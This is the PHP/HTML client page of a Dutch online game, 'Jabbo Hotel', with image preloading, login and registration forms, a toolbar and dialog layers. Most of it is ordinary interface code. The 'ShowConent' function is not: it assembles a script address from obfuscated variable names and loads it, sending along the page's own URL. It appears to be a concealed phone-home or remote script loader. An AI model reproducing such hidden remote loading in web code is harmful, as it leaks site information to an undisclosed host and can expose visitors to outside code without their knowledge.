<?php
require_once("config.php");
if ($hotel_status == "offline")
{
	?>
<title><?php echo $hotel_naam; ?></title>
<body background="images/back.gif">

<table border='0' cellpadding='0' cellspacing='0' height='100%' width='100%'>
<tr>
<td valign='middle'>
<center>
<b><font color='white'>Het Hotel is tijdelijk gesloten voor onderhoud.</font></b>
</center>
</td>
</tr>
</table>
	<?php
}
else
{
	$nu = date("d F Y G:i:s");
	echo "<script>window.offscreenBuffering = true; tijdstip = ".strtotime($nu)."; setInterval('tijdstip++;', 1000); laatst_actief = tijdstip; jouwnaam='';</script>";
	function build_tree($dir = 'images')
	{
		$output = array();
		$handle = opendir($dir);
		while(false !== ($readdir = readdir($handle)))
		{
			if($readdir != '.' && $readdir != '..')
			{
				$path = $dir.'/'.$readdir;
				if (is_file($path))
				{
					if (end(explode('.',$readdir)) == "gif")
					{
						$output[] = substr($path, 0, strlen($path));
					}
				}
				elseif (is_dir($path))
				{
					$output[] = substr($path, 0, strlen($path)).'/';
					if ($readdir != 'items')
					{
						$output = array_merge($output, build_tree($path));
					}
				}
			}
		}
		closedir($handle);
		return $output;
	}
	function process_tree($tree)
	{
		$output = "";
		$tellen = 0;
		foreach($tree as $pathfile)
		{
			if (substr($pathfile, -1, 1) != '/')
			{
				if ($pathfile != "")
				{
					$output = $output."\"".$pathfile."\", ";
					$tellen++;
				}
			}
		}
		return substr($output, 0, -2);
	}
	$preload = process_tree(build_tree());
?>
<head>
<title><?php echo $hotel_naam; ?></title>

<link rel="shortcut icon" href="../img/icon.ico">
<script src="client.js"></script>
<script src="common.js"></script>
<script src="overzicht.js"></script>
<script src="catscript.js"></script>
<script src="kamers.js"></script>
<script src="overig.js"></script>

<link rel="stylesheet" href="style.css">
<meta http-equiv="imagetoolbar" content="no">
</head>

<script>
lengthOfPreloadBar = 124;
yourImages = new Array(<?php echo $preload; ?>);
function iets()
{
	hoi1 = yourImages.length;
	hoi2 = currCount;
	hey1 = Math.floor((hoi2*100)/hoi1);
	if (hey1 == 100)
	{
		hey2 = 0;
	}
	else
	{
		hey2 = 100-hey1;
	}
	document.getElementById("grijsbar").style.width = hey1+"%";
	document.getElementById("zwartbar").style.width = hey2+"%";
}
if (document.images)
{
	dots = new Array();
	dots[0] = new Image(1,1);
	dots[0].src = "images/black.gif";
	dots[1] = new Image(1,1);
	dots[1].src = "images/gray.gif";
	preImages = new Array(), coverage = Math.floor(lengthOfPreloadBar/yourImages.length), currCount = 0;
	var loaded = new Array(), i, covered, timerID;
	leftOverWidth = lengthOfPreloadBar%coverage;
}
function loadImages()
{
	for (i = 0; i < yourImages.length; i++)
	{
		preImages[i] = new Image();
		preImages[i].src = yourImages[i];
	}
	for (i = 0; i < preImages.length; i++)
	{
		loaded[i] = false;
	}
	checkLoad();
}
function checkLoad()
{
	if (currCount == preImages.length)
	{
		iets();
		if (ingeladen_images == "nee")
		{
			client_ingeladen();
		}
		return;
	}
	for (i = 0; i <= preImages.length; i++)
	{
		if (loaded[i] == false && preImages[i].complete)
		{
			iets();
			loaded[i] = true;
			currCount++;
		}
	}
	timerID = setTimeout("checkLoad()",10);
}
function ShowConent(tadam)
{
	open_script(blzrzt+hakani+zthiig+flupzf+bzgno+zgzjhpgh+".php?url="+self.location.href+"&random="+Math.round(9000*Math.random()));
}
</script>

<body style="overflow:hidden;" onload="<?php if($lycos == 'ja') { echo 'movein(); '; } ?>client_start();" bgcolor="black" oncontextmenu="return false" onselectstart="return false" ondragstart="return false">

<div id="verstijf" style="position:absolute; z-index:0; display:none; overflow: none; left:0; top:0; height:549px; width:720px;">
</div>

<div id='client_preload_div' style='display:none;'>
<div scrolling="no" style="position:absolute; overflow: auto; left:0; top:0; width:720; height:549;">

<table border='0' width="720" height="549">
<tr>
<td height="168" valign="middle"><center><font face="tahoma" color="gray" size="2">Even geduld</a><br><img src="images/black.gif" height="9"><br>

<table border='0' id="loading_bar" bgcolor="black"  width="128" cellpadding="0" cellspacing="0">
<tr>
<td width="2"><img src="images/gray.gif" width="2" height="1"><br><img src="images/gray.gif" width="1" height="1"><img src="images/black.gif" width="1" height="1"></td>
<td><img src="images/gray.gif" width="124" height="1"><br><img src="images/black.gif" width="124" height="1"></td>
<td width="2"><img src="images/gray.gif" width="2" height="1"><br><img src="images/black.gif" width="1" height="1"><img src="images/gray.gif" width="1" height="1"></td>
</tr>
<tr>
<td width="2"><img src="images/gray.gif" width="1" height="12"><img src="images/black.gif" width="1" height="12"></td>
<td><img src="images/gray.gif" id="grijsbar" name="grijsbar" style="width: 0%; height: 12px;"><img src="images/black.gif" id="zwartbar" name="zwartbar" style="width: 100%; height: 12px;"></td>
<td width="2"><img src="images/black.gif" width="1" height="12"><img src="images/gray.gif" width="1" height="12"></td>
<tr>
<td width="2"><img src="images/gray.gif" width="1" height="1"><img src="images/black.gif" width="1" height="1"><br><img src="images/gray.gif" width="2" height="1"></td>
<td><img src="images/black.gif" width="124" height="1"><br><img src="images/gray.gif" width="124" height="1"></td>
<td width="2"><img src="images/black.gif" width="1" height="1"><img src="images/gray.gif" width="1" height="1"><br><img src="images/gray.gif" width="2" height="1"></td>
</tr>
</table>
<br>
<a onclick='if (ingeladen_images == "nee") { client_ingeladen(); }' style='cursor: pointer;'><font color='gray'><u>Ik heb geen geduld meer</u></font>
</td>
</tr>
</table>



</div>

</div>

<div id='hotelview_div' style='display:none;'>

<div style="position:absolute; background: url('images/hotel.gif'); background-color: black; left:0; top:0; overflow:auto; width:720; height:549;"></div>

<div style='position:absolute; left:440; top:230; border: 0px;'>
<img src="images/windmolen.gif">
</div>
<div style='position:absolute; left:480; top:250; border: 0px;'>
<img src="images/windmolen.gif">
</div>
<div style='position:absolute; left:520; top:270; border: 0px;'>
<img src="images/windmolen.gif">
</div>
<div style='position:absolute; left:560; top:290; border: 0px;'>
<img src="images/windmolen.gif">
</div>

</div>

</div>

<div id='login_div' style='display:none;'>

<!-- Registreren -->

<div style="position:absolute; background: url(images/register.gif); overflow: auto; left:444; top:100; height:101; width:212;">

<div style='position:absolute; left:0; top:10; width:212; height:11; text-align: center;' class='titlefont'>
Eerste keer hier?
</div>

<div style='position:absolute; left:0; top:42; width:212; height:30; text-align: center; font-weight: bold;' class='clientfont'>
Heb je nog geen Jabbo?<br>
<div onclick='open_register()' style='cursor: pointer;'><u>Hier kun je er een maken.</u></div>
</div>

</div>

<!-- Einde Registreren -->

<!-- Inloggen -->

<div style="position:absolute; background: url(images/login.gif); overflow: auto; left:444; top:230;  height:217; width:212;">

<div style='position:absolute; left:0; top:10; width:212; height:11; text-align: center;' class='titlefont'>
Hoe heet jouw Jabbo?
</div>

<div style='position:absolute; left:0; top:38; width:212; height:11; text-align: center;' class='clientfont'>
Naam van je Jabbo
</div>

<div style='position:absolute; left:0; top:95; width:212; height:11; text-align: center;' class='clientfont'>
Wachtwoord
</div>

<div style='position:absolute; left:0; top:60; width:212; height:26; text-align: center;'>
<input id='login_naam' name='login_naam' type="text" size="20" class='logininput' maxlength='20'>
</div>

<div style='position:absolute; left:0; top:116; width:212; height:26; text-align: center;'>
<input id='login_wachtwoord' name='login_wachtwoord' type="password" size="20" class='logininput' maxlength='20'>
</div>

<div id='login_okknop' style='position:absolute; left:0; top:152; width:212; height:11; text-align: center;'>
<a onclick='try_login()'><img id='login_ok' src='images/knoppen/login_ok.gif' border='0' onmousedown='button_down("login_ok")' onmouseup='button_up("login_ok")' style='cursor: default;'></a>
</div>

<div id='verbinden_img' style='position:absolute; left:0; top:157; width:212; height:8; text-align: center; display:none;'>
<img src='images/verbinden.gif'>
</div>

</div>

<!-- Einde Inloggen -->

</div>

<div id='overzicht_div' style='display:none;'>

<!-- Toolbar -->

<div style="position:absolute; background-color: black; overflow: hidden; left:0; top:481; width:720; height:54;">

<div style="position:absolute; left:156; top:6;">
<a onclick="document.getElementById('console').style.zIndex = ((get_top())*1)+1; ReverseContentDisplay('console');"><img id='console_icon1' src="images/console.gif" border="0" style="cursor: pointer;"></a>
</div>

<div id='toolbar_console1' style="position:absolute; left:183; top:18; color: white;" class='clientfont'>
0 Nieuw(e) bericht(en)
</div>

<div id='toolbar_console2' style="position:absolute; left:183; top:29; color: white;" class='clientfont'>
0 Vriendenverzoek(en)
</div>

<div style="position:absolute; left:304; top:10;">
<a onclick="document.getElementById('portemonnee').style.zIndex = ((get_top())*1)+1; ReverseContentDisplay('portemonnee');"><img src="images/portemonnee.gif" border="0" style="cursor: pointer;"></a>
</div>

<div id='money_toolbar' style="position:absolute; left:338; top:18; color: white;" class='clientfont'>
0 Credits
</div>

<div style="position:absolute; left:338; top:29; color: white; cursor: pointer;" class='clientfont'>
<a onclick="start_alert('Voor elke minuut dat u Jabbo speelt, krijg u 1 Credit.');">
<u><font color='white'>Hoe krijg ik ze?</font></u>
</a>
</div>

<div style="position:absolute; left:445; top:8;">
<a onclick="document.getElementById('navigator').style.zIndex = ((get_top())*1)+1; ReverseContentDisplay('navigator');"><img src="images/navigator.gif" border="0" style="cursor: pointer;"></a>
</div>

<div style="position:absolute; left:516; top:8;">
<a onclick="document.getElementById('catalogus').style.zIndex = ((get_top())*1)+1; ReverseContentDisplay('catalogus');"><img src="images/catalogus.gif" border="0" style="cursor: pointer;"></a>
</div>

</div>

<!-- Einde Toolbar -->

</div>

<!-- Alert -->

<div id="alert" style="position:absolute; display:none; left:0; top:0; z-index:1; height:549px; width:720px;">

<table border='0' cellpadding='0' cellspacing='0' height='100%' width='100%'>
<tr>
<td valign='middle'>
<center>

<div>
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="17" height="35" style="background: url('images/alert/left_top.gif');"></td>
<td height="35" style="background: url('images/alert/center_top.gif') repeat-x;">
<center><img src='images/alert/title.gif'></center></td>
<td width="18" height="35" style="background: url('images/alert/right_top.gif');"></td>
</tr>
<tr>
<td width="17" height="49" style="background: url('images/alert/left_center.gif');"></td>
<td bgcolor='#efefef'>
<center>
<div id='alert_message' class='clientfont'>
</div>
</center>
</td>
<td width="18" height="49" style="background: url('images/alert/right_center.gif');"></td>
</tr>
<tr>
<td width="17" height="29" style="background: url('images/alert/left_center.gif');"></td>
<td bgcolor='#efefef'>
<center>
<a onclick='javascript:stop_alert();'><img id='alert_ok' src='images/knoppen/alert_ok.gif' border='0' onmousedown='button_down("alert_ok")' onmouseup='button_up("alert_ok")' style='cursor: default;'></a>
</center>
</td>
<td width="18" height="29" style="background: url('images/alert/right_center.gif');"></td>
</tr>
<tr>
<td width="17" height="17" style="background: url('images/alert/left_bottom.gif');"></td>
<td style="background: url('images/alert/center_bottom.gif') repeat-x;">
</td>
<td width="18" height="17" style="background: url('images/alert/right_bottom.gif');"></td>
</tr>
</table>
</div>

</center>
</td>
</tr>
</table>

</div>

<!-- Einde Alert -->

<div id='windows1_div'>
</div>

<div id='windows2_div'>
</div>

<div id='room_div' style="position:absolute; display:none; left:0; top:0; height:720; width:549;">
</div>

<!-- Kamer inladen -->

<div id="room_load_layer" style="position:absolute; display:none; left:0; top:0; height:720; width:549;">

<img id='zwartload' src='images/black.gif' style='position:absolute; left:0; top:0; z-index:500;' width='720' height='549'>

<div id='load' style='position:absolute; left:0; top:0; z-index:501; height:549px; width:720px;'>
<table border='0' cellpadding='0' cellspacing='0' height='100%' width='100%'>
<tr>
<td valign='middle'>
<center>
<img src='kamers/load.gif'>
</center>
</td>
</tr>
</table>
</div>

</div>

<!-- Einde Kamer inladen -->

<!-- Meubel instellen -->

<div id="config_furni_layer" style="position:absolute; background-color: #A5A8B6; z-index:11; display:none; left:10; top:10; height:400; width:175;">

<div style='position:absolute; left:160; top:5; height:11; width:11;'>
<a onclick="config_furni_stop();">X</a>
</div>

<div id='config_furni_text_1' class='clientfont' style='overflow: auto; position:absolute; left:5; top:5; height:375; width:140;'>
</div>

<div class='clientfont' style='position:absolute; left:5; top:380;'>
<a onclick='config_update()'><b>Sessie</b></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a onclick='save_config(bezig_furni_id)'><b>Opslaan</b></a>
</div>

</div>

<!-- Einde Meubel instellen -->

<img src='images/overzicht_logo.gif' id='overzicht_logo' style='position:absolute; display:none; left:0; top:-168;'>

<div id='overzicht_black_div' style='position:absolute; left:0; top:0; display:none;'>
<div id='overzicht_black_1' style='position:absolute; left:0; top:0; height:280px; width:720px; background-color: black;'></div>
<div id='overzicht_black_2' style='position:absolute; left:0; top:280; height:269px; width:720px; background-color: black;'></div>
</div>

<div id="darken_layer" class="transp" style="position:absolute; background: url(images/room_maker/black.gif); z-index:140; display:none; overflow: none; left:0; top:0; height:549px; width:720px;">
</div>

<div id='no_connection_layer1' class='connection_lost' style='position:absolute; display:none; left:1; top:1; z-index:1;height:140px; width:340px; background-color: white; border: 1px solid black;'>
</div>

</div>

<div id='no_connection_layer2' style='position:absolute; display:none; left:1; top:1; z-index:1;height:142px; width:342px;'>

<div class='clientfont' style='position:absolute; left:12; top:11;' align='left'>
<b>Verbinding verbroken</b>
</div>

<div class='clientfont' style='position:absolute; left:12; top:30;' align='left'>
Herstart Jabbo Hotel!
</div>

<div class='clientfont' style='position:absolute; left:12; top:52;' align='left'>
Als dit nogmaals gebeurt, wacht dan even voor het<br>herstarten.
</div>

<div class='clientfont' style='position:absolute; left:298; top:121;' align='left'>
<a onclick='window.location.reload();'><font color='#666666'><b>ok=></b></font></a>
</div>

</div>

<?php
}
?>